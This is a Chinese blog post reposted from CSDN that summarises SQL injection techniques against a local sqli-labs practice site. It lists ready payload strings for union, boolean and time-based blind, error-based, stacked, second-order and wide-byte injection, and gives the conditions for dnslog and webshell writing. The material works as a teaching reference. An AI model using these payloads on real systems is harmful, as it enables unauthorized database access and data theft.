【网络安全】sql注入语法汇总

本文阅读 9 分钟
首页 安全分享,WEB安全 正文

目录

一、原理

二、SQL注入判断方法

1.字符型检测

2.数字型检测

3.搜索型检测和xx型检测

三、union注入

1.order by判断列数

2.union 联合查询

四、盲注

1.布尔盲注

(1)查询数据库长度

(2)查询当前数据库名称

(3)查询数据库下有多少表

(4)查询数据库下表名第一位

(5)查询数据库下表中有多少个字段

(6)判断数据库下表中的第一个字段的长度

(7)查询数据库下表里面的第一个字段的第一位是多少

(8)得到字段探测第一条数据

2.时间盲注

(1)判断是否存在延迟函数

(2)查询当前数据库的长度,如果正确那么就延迟5秒

(3)判断当前数据库名第一位是否为a

(4)判断当前数据库名第一位ascii是否为100

(5)查询表数量

(6)查询表名长度

(7)截取表名第一位

(8)查询列字段数量

(9)查询列名长度

(10)截取列名第一位

(11)查询id第一条数据的长度

(12)获取数据信息内容

五、报错注入

(1)floor()

(2)extractvalue()

(3)updatexml()

(4)geometrycollection()

(5)multipoint()

(6)polygon()

(7)multipolygon()

(8)linestring()

(9)multilinestring()

(10)exp()

六、堆叠注入

七、二次注入

(1)插入恶意数据

(2)引用恶意数据

八、宽字节注入

(1)原理

(2)条件

九、dnslog注入

(1)条件

十、请求头注入

十一、SQL注入写入webshell

十二、总结

  所谓SQL注入,就是通过把<span style="color:#fe2c24;">SQL命令插入到Web表单递交或输入域名</span>或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令
  SQL语法允许数据库命令和用户数据混杂在一起的。如果<span style="color:#fe2c24;">开发人员不细心</span>的话,用户数据就有可能被解释成命令, 这样的话,远程用户就不仅能向Web应用输入数据,而且还可以在数据库上执行任意命令了。

1.字符型检测

字符型判断url是否存在注入,在url栏的网址上添加一个<span style="color:#fe2c24;">单引号</span>

url: http://127.0.0.1/sqli-labs-master/Less-1/?id=1’

会显示这样的报错,大致意思是你有一个sql语法错误,当在后面加了%23一个注释符后会正常显示。

当我们在url栏网址的单引号后面输入and 1=1 时页面<span style="color:#fe2c24;">显示正常</span>。

http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=1#

当我们把1=1换成1=2时<span style="color:#fe2c24;">页面报错</span>

http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=2#

2.数字型检测

直接输入and 1=1查看。

http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1=1

发现是可以<span style="color:#fe2c24;">正常显示页面</span>的,那么我们在进一步判断1=2时。

http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1=2

发现页面有变化,那么就可以判断他是一个数字型的注入,因为数字型的注入是不用加引号的。就<span style="color:#fe2c24;">类似于int</span>一样。

3.搜索型检测和xx型检测

这个说白了就是字符型检测的一种,只是需要根据不同的报错信息进行<span style="color:#fe2c24;">构造闭合</span>。

1.order by和报错注入

select * from users order by id and(updatexml(1,concat(0x7e,(select count(*) from information_schema.schemata)),0));

2.union 联合查询

?id=111’ union select 1,2,(group_concat(table_name) from information_schema.tables where table_schema=‘数据库名’) --+

1.布尔盲注

(1)查询数据库长度

and (length(database()))>8%23

(2)查询当前数据库名称

and (ascii(substr(database(),1,1)))<120 %23

(3)查询数据库下有多少表

and (select count(*) from information_schema.tables where table_schema='数据库名')>4 %23

(4)查询数据库下表名第一位

and  (length((select table_name from information_schema.tables where table_schema='数据库名' limit 0,1)))=6%23

(5)查询数据库下表中有多少个字段

and  (ascii(substr((select table_name from information_schema.tables where table_schema='数据库名' limit 0,1),1,1))>100)%23

(6)判断数据库下表中的第一个字段的长度

and  (length((select column_name from information_schema.columns where table_schema='数据库名称' and table_name='表名' limit 0,1)))=2%23

(7)查询数据库下表里面的第一个字段的第一位是多少

and  (ascii(substr((select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1),1,1)))=105 %23

(8)得到字段探测第一条数据

and (ascii(substr((select 字段名 from 表名 limit 0,1),1,1)))=68 %23

2.时间盲注

(1)判断是否存在延迟函数

and sleep(5) %23

(2)查询当前数据库的长度,如果正确那么就延迟5秒

and if((length(database()))>7,sleep(5),1) --+

(3)判断当前数据库名第一位是否为a

and if((substr(database(),1,1)='a'),sleep(5),1)  %23

(4)判断当前数据库名第一位ascii是否为100

and if((ascii(substr(database(),1,1))=100),sleep(5),1)  %23

(5)查询表数量

and if((select count(*) from information_schema.tables where table_schema='数据库名称')=4,sleep(5),1)%23

(6)查询表名长度

and if((select length((select table_name from information_schema.tables where table_schema='数据库名' limit 3,1))=5),sleep(5),1)%23

(7)截取表名第一位

and if((select ascii(substr((select table_name from information_schema.tables where table_schema='数据库名 limit 3,1),1,1)))=117,sleep(5),1)%23

(8)查询列字段数量

and if(((select count(*) from information_schema.columns where table_schema='数据库名' and table_name='users')=3),sleep(5),1)%23

(9)查询列名长度

and if((select length((select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1))=2),sleep(5),1)%23

(10)截取列名第一位

and if((select ascii(substr((select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1),1,1)))=105,sleep(5),1)%23

(11)查询id第一条数据的长度

and if((select length((select id from 表名  limit 0,1)))=1,sleep(5),1)%23

(12)获取数据信息内容

and if((select ascii(substr((select id from 表名  limit 0,1),1,1)))=49,sleep(5),1)%23

(1)floor()

and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a) %23

(2)extractvalue()

select * from 数据库名 where id=1 and (extractvalue(1,concat(0x7e,(select 表名()),0x7e)));

(3)updatexml()

select * from 数据库名 where id=1 and (updatexml(1,concat(0x7e,(select 表名()),0x7e),1));

(4)geometrycollection()

select * from 数据库名where id=1 and geometrycollection((select * from(select * from(select 表名())a)b));

(5)multipoint()

select * from 数据库名 where id=1 and multipoint((select * from(select * from(select 表名())a)b));

(6)polygon()

select * from 数据库名 where id=1 and polygon((select * from(select * from(select 表名())a)b));

(7)multipolygon()

select * from 数据库名 where id=1 and multipolygon((select * from(select * from(select 表名())a)b));

(8)linestring()

select * from 数据库名 where id=1 and linestring((select * from(select * from(select 表名())a)b));

(9)multilinestring()

select * from 数据库名 where id=1 and multilinestring((select * from(select * from(select 表名())a)b));

(10)exp()

select * 数据库名 test where id=1 and exp(~(select * from(select 表名())a));

原理:堆叠注入的原理 :  mysql_multi_query() 支持多条sql语句同时执行,就是个;分隔,成堆的执行sql语句

例如

select * from users;show databases;

就同时执行以上两条命令,所以我们可以增删改查,只要权限够
虽然这个注入姿势很牛,但实际遇到很少,其可能受到<span style="color:#fe2c24;">API或者数据库引擎</span>,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是<span style="color:#fe2c24;">mysqli_ query()函数</span>,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。

二次注入,可以概括为以下两步:

(1)插入恶意数据

进行数据库插入数据时,对其中的<span style="color:#fe2c24;">特殊字符进行了转义处理</span>,在<span style="color:#fe2c24;">写入数据库</span>的时候又保留了原来的数据。

(2)引用恶意数据

开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中<span style="color:#fe2c24;">取出恶意数据</span>,没有进行进一步的检验的处理。

(1)原理

当传递一个参数id=1‘得时候,当我们输入这个单引号,会被认为是<span style="color:#fe2c24;">非法字符</span>,会被<span style="color:#fe2c24;">过滤函数添加“”给过滤掉</span>,所以我们想要程序接受我们传递得参数中包含单引号,那么就需要把这个转义字符“”干掉,那如何才能干掉呢?当http协议传输得时候,是要经过url编码的,如果这个编码完成后,传递到服务器时,我们可以在单引号前<span style="color:#fe2c24;">加上一个%81</span>这样得编码,最后这样解码得时候,这个%81就会和“/”对应得编码相结合按照gbk编码要求去解码,最后只剩下个单引号。

(2)条件

Ⅰ:数据库查询设置为<span style="color:#fe2c24;">GBK编码</span>
Ⅱ:使用了addslashes(),mysql_real_escape_string(),mysql_escape_string()之类的函数

(1)条件

mysql.ini中secure_file_priv必须为空
●<span style="color:#fe2c24;">secure_file_priv 为null</span> 不允许导入导出
●<span style="color:#fe2c24;">secure_file_priv 为/tmp</span> 导入导出只能在/tmp目录下
●<span style="color:#fe2c24;">secure_file_priv 为空时</span> 则不做限制允许导入导出

(1)条件

Ⅰ:当前sql注入用户必须为<span style="color:#fe2c24;">DBA权限</span>(--is-dba为true)

总结了很久的资料,希望各位技术友可以读完。

本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/weixin_50481708/article/details/125650253
-- 展开阅读全文 --
BUUCTF Web [极客大挑战 2019]Knife
« 上一篇 06-24
安全面试之XSS(跨站脚本攻击)
下一篇 » 07-24

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复